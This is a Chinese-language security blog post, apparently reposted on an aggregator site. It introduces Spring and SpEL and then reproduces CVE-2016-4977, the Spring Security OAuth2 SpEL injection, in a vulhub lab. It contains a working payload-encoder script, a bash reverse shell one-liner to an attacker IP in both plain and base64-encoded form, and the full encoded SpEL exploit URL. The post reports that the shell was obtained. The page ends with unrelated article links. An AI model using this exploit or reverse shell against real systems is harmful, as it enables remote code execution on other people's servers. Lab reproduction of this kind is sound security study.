【网络安全】Spring框架漏洞总结(一)

2023-10-29

Spring简介

Spring是Java EE编程领域的一个轻量级开源框架,该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建,是为了解决企业级编程开发中的复杂性,业务逻辑层和其他各层的松耦合问题,因此它将面向接口的编程思想贯穿整个系统应用,实现敏捷开发的应用型框架。框架的主要优势之一就是其分层架构,分层架构允许使用者选择使用哪一个组件,同时为J2EE应用程序开发提供集成的框架。

2009年9月Spring 3.0 RC1发布后,Spring就引入了SpEL (Spring Expression Language)。类比Struts2框架,会发现绝大部分的安全漏洞都和OGNL脱不了干系。尤其是远程命令执行漏洞,这导致Struts2越来越不受待见。

因此,Spring引入SpEL必然增加安全风险。事实上,过去多个Spring CVE都与其相关,如CVE-2017-8039、CVE-2017-4971、CVE-2016-5007、CVE-2016-4977等。

SpEL是什么

SpEL(Spring Expression Language)是基于spring的一个表达式语言,类似于struts的OGNL,能够在运行时动态执行一些运算甚至一些指令,类似于Java的反射功能。就使用方法上来看,一共分为三类,分别是直接在注解中使用,在XML文件中使用和直接在代码块中使用。

SpEL原理如下∶

  1. 表达式:可以认为就是传入的字符串内容

  2. 解析器︰将字符串解析为表达式内容

  3. 上下文:表达式对象执行的环境

  4. 根对象和活动上下文对象∶根对象是默认的活动上下文对象,活动上下文对象表示了当前表达式操作的对象

Spring框架特征

1.看web应用程序的ico小图标,是一个小绿叶子

image.png

2.看报错页面,如果默认报错页面没有修复,那就是长这样

image.png

3.wappalyzer插件识别

image.png

4.f12看X-Application-Context头

image.png

本地环境搭建

安装IDEA

官网下载安装包 :https://www.jetbrains.com/idea/download/#section=windows

这里选择得商业版,免费试用30天

image.png

image.png

安装目录默认

image.png

报错不用管,点击确认,一直默认下一步

image.png

双击下图图标

image.png

image.png

image.png

image.png

image.png

image.png

image.png

选择Download SDK

image.png

选择jdk1.8

image.png

image.png

image.png

点next

image.png

点击Spring Web

image.png

等待安装

image.png

点击右上角启动,可以看见默认端口8080

image.png

成功访问,部署成功

image.png

这里复现的环境搭建均采用p牛的vulhub靶场环境。

Spring渗透总结

1.Spring Security OAuth2 远程命令执行(CVE-2016-4977)

漏洞简介

Spring Security OAuth2是为Spring框架提供安全认证支持的一个模块。Spring Security OAuth2处理认证请求的时候如果使用了whitelabel views,response_type参数值会被当做Spring SpEL来执行,攻击者可以在被授权的情况下通过构造response_type值也就是通过构造恶意SpEL表达式可以触发远程代码执行漏洞。故是在需要知道账号密码的前提下才可以利用该漏洞。

影响版本

2.0.0-2.0.9
1.0.0-1.0.5

漏洞验证

启动漏洞

image.png

访问url

image.png

输入下面的漏洞测试url:

http://192.168.173.144:8080/oauth/authorize?response_type=${2*2}&client_id=acme&scope=openid&redirect_uri=http://test

访问后会弹窗,输入用户名和密码 admin:admin即可,返回结果可以看到值被成功计算为2*2=4

image.png

image.png

页面返回执行了我们输入的SpEL表达式,这里可以看作是SpEL表达式的注入,既然表达式被执行了,我们可以考虑代码注入的可能性。

漏洞复现

这里看一下vulhub提供的poc,poc地址: https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py

#!/usr/bin/env python
message = input('Enter message to encode:')
poc = '${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(%s)' % ord(message[0])
for ch in message[1:]:
   poc += '.concat(T(java.lang.Character).toString(%s))' % ord(ch) 
poc += ')}'
print(poc)

image-20210829191932279

可以看出该poc对输入的命令进行了变形,将命令的每个字符串转化为ASCII码配合tostring()方法并且用concat拼接传入exec执行。

反弹shell:

对于poc需要先进行base64编码(java反弹shell都需要先编码,不然不会成功,原因貌似是runtime不支持管道符,重定向,空格,管道符都有可能造成错误
在线生成有效载荷的网站:http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.173.133/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3My4xMzMvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}

image.png

生成poc

${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}

image.png

修改后的url:

http://192.168.173.144:8080/oauth/authorize?response_type=${poc的位置}&client_id=acme&scope=openid&redirect_uri=http://test

http://192.168.173.144:8080/oauth/authorize?response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(111)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(109)).concat(T(java.lang.Character).toString(70)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(83)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(43)).concat(T(java.lang.Character).toString(74)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(90)).concat(T(java.lang.Character).toString(71)).concat(T(java.lang.Character).toString(86)).concat(T(java.lang.Character).toString(50)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(82)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(56)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(79)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(117)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(76)).concat(T(java.lang.Character).toString(106)).concat(T(java.lang.Character).toString(69)).concat(T(java.lang.Character).toString(51)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(121)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(118)).concat(T(java.lang.Character).toString(77)).concat(T(java.lang.Character).toString(84)).concat(T(java.lang.Character).toString(73)).concat(T(java.lang.Character).toString(122)).concat(T(java.lang.Character).toString(78)).concat(T(java.lang.Character).toString(67)).concat(T(java.lang.Character).toString(65)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(80)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(89)).concat(T(java.lang.Character).toString(120)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(54)).concat(T(java.lang.Character).toString(52)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(100)).concat(T(java.lang.Character).toString(125)).concat(T(java.lang.Character).toString(124)).concat(T(java.lang.Character).toString(123)).concat(T(java.lang.Character).toString(98)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(104)).concat(T(java.lang.Character).toString(44)).concat(T(java.lang.Character).toString(45)).concat(T(java.lang.Character).toString(105)).concat(T(java.lang.Character).toString(125)))}&client_id=acme&scope=openid&redirect_uri=http://test

监听端口:

image.png

执行url,看见如图的显示页面说明已成功执行:

image.png

image.png

反弹shell成功。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

【网络安全】Spring框架漏洞总结(一) 的相关文章

随机推荐

  • Python Web不知道怎么学?看这篇就够了!

    Python有很多作用 接触过python的朋友肯定知道其几乎无所不能 前端 后端 数据 ML AI 自动化 爬虫 数据分析 人工智能等等 第一阶段 Python入门 框架再怎么变 基本语法不会变 基础中的基础 数据类型 循环判断 常用模块
  • 2D地图tile纹理自动拼接算法

    2D地图tile纹理自动拼接算法 文章目录 2D地图tile纹理自动拼接算法 前言 基本算法 RPGMaker MZ中的转换 扩展 前言 如果你玩过RPGMaker MZ之类关卡编辑器的 可能对地图纹理的自动拼接印象比较深刻 本文将详细介绍
  • 批处理set命令变量与等号之间不要加空格

    前两天写一个打包脚本 MyEclipse打不出来包了 使用set设置变量的时候 发现变量总是空 网上查了半天也没找到答案 后来突然发现网上的写法都是等号紧跟变量名后面 将空格去掉试了一下 果然起作用 平常写java习惯在变量名和操作符见加一
  • 网络安全行业要“变天”了

    编辑丨大兔 时至今日 网络攻击的种类日新月异 而伴随着物联网 工业网互联网等场景的变化 技术也正在飞速发展 攻与防的较量水平正变得越来越高 在行业从业者看来 网络攻击的潜在威胁是巨大的 在触网企业中 虽对安全有所耳闻 但均止步于拗口的专业词
  • 【XGBoost】第 3 章:随机森林装袋

    大家好 我是Sonhhxg 柒 希望你看完之后 能对你有所帮助 不足请指正 共同学习交流 个人主页 Sonhhxg 柒的博客 CSDN博客 欢迎各位 点赞 收藏 留言 系列专栏 机器学习 ML 自然语言处理 NLP 深度学习 DL fore
  • 了解XSS攻击与CSRF攻击

    什么是XSS攻击 XSS Cross Site Scripting 跨站脚本攻击 是一种常见的网络安全漏洞 它允许攻击者在受害者的浏览器上执行恶意脚本 这种攻击通常发生在 web 应用程序中 攻击者通过注入恶意脚本来利用用户对网站的信任 从
  • 【信号用指数、正弦和余弦表示的原因】

    1 正弦 虚数和指数之间的联系 2 指数和正余弦由泰勒公式联系起来
  • 全网最全的微服务+Outh2套餐,Gateway整合Oauth2!(入门到精通,附源码)满足你的味蕾需要(三)

    上篇文章主要讲解Oauth2模块 user service模块 feign模块 那么作为重中之重的gateway 我们将其做成资源服务器来进行开发 一 资源服务器的实现方式 资源服务器在实际开发有两种实现方式 1 gateway做网关转发
  • LaTex学习笔记(书籍的基本实现)

    1 书籍的首页 书籍首页应该是标题与作者 生成代码如下 在正文区输入 title 书籍名称 书籍名 author 作者名称 作者名 date 指令用于删除日期 maketitle 标题结束 eg 若想删除日期 需在标题结束指令 maketi
  • 简述泵站计算机监控主要功,泵站设备安全运行监视有哪些?

    强化中控室监控系统对泵站设备的安全运行监视 是发挥其监视作用的重要内容 安全运行监视主要包括 1 设备状态监视 泵站工彻勺运行需要设备的安全工作 因此作为泵站监视系统的核心 要准确对设备白训犬态进行监视二首先要月豺目关的设备固矛清况与中控室
  • Failed to restart network.service: Unit network.service not found

    在配置完网络设置时重启时会出现这个问题 原因是和NetworkManager 服务有冲突 解决办法就是关闭NetworkManager然后重启一下Network服务 service NetworkManager stop 关闭Network
  • 创新奇智上市:是李开复心血之作 揭秘背后的塔尖孵化模式

    雷递网 雷建平 1月27日报道 青岛创新奇智科技集团股份有限公司 股份代号 2121 简称 创新奇智 今日在港交所上市 发行价为26 30港元 募资净额10 7亿港元 创新奇智开盘价与发行价持平 以开盘价计算 创新奇智市值超140亿港元 创
  • 用免费的谷歌GPU训练神经网络

    前提是先得注册一个google邮箱 再用该邮箱注册一个谷歌云盘 或者直接用这个谷歌邮箱就可以登陆云盘 1 云盘 网址应该是这个 https drive google com drive 不行就试一下这个 https drive google
  • 透视Matplotlib核心功能和工具包 - 不同图形格式

    Matplotlib创建的报告和仪表板可以以不同的方式使用 它们可以在上游Web应用程序中使用 也可以以PDF文件的形式分发 还可以嵌入到GUI工具箱中或在线交互式地使用 在此 我们将学习如何以各种格式保存报告 以便可以将它们分发给使用者以
  • 从零开始学WEB前端——HTML实战练习

    项目介绍 先做个自我介绍 本人是一个没人写前端所以就自学前端的后端程序员 在此项目中我会和大家一起从零基础开始学习前端 从后端程序员的视角来看前端 受限于作者的水平本项目暂时只会更新到前端框架VUE 不会涉及node js 该项目适合零基础
  • element dialog 垂直水平居中显示

    如何让组件中的dialog在可视区域垂直水平居中 先将dialog放到body的下层 保证自己写的样式相对于视口区域生效 element dialog文档中有个append to body属性 将其设置为true 会将dialog扔到bod
  • OpenWrt之kmod内核不兼容分析

    文章目录 OpenWrt之kmod内核不兼容分析 Kmod内核模块MD5校验 Kmod内核信息 强制安装kmod 解决kmod内核不兼容 查看CPU架构 feeds源参考 OpenWrt之kmod内核不兼容分析 Kmod内核模块MD5校验
  • GPAC MP4文件写入(支持H264、H265)

    1 GPAC模块下载链接https github com gpac gpac或https gpac wp imt fr downloads 2 编译指导https github com gpac gpac wiki Build Introd
  • 华为机试C语言-字符串处理

    题目描述 https pycoder blog csdn net article details 124656685 include
  • 【网络安全】Spring框架漏洞总结(一)

    Spring简介 Spring是Java EE编程领域的一个轻量级开源框架 该框架由一个叫Rod Johnson的程序员在2002年最早提出并随后创建 是为了解决企业级编程开发中的复杂性 业务逻辑层和其他各层的松耦合问题 因此它将面向接口的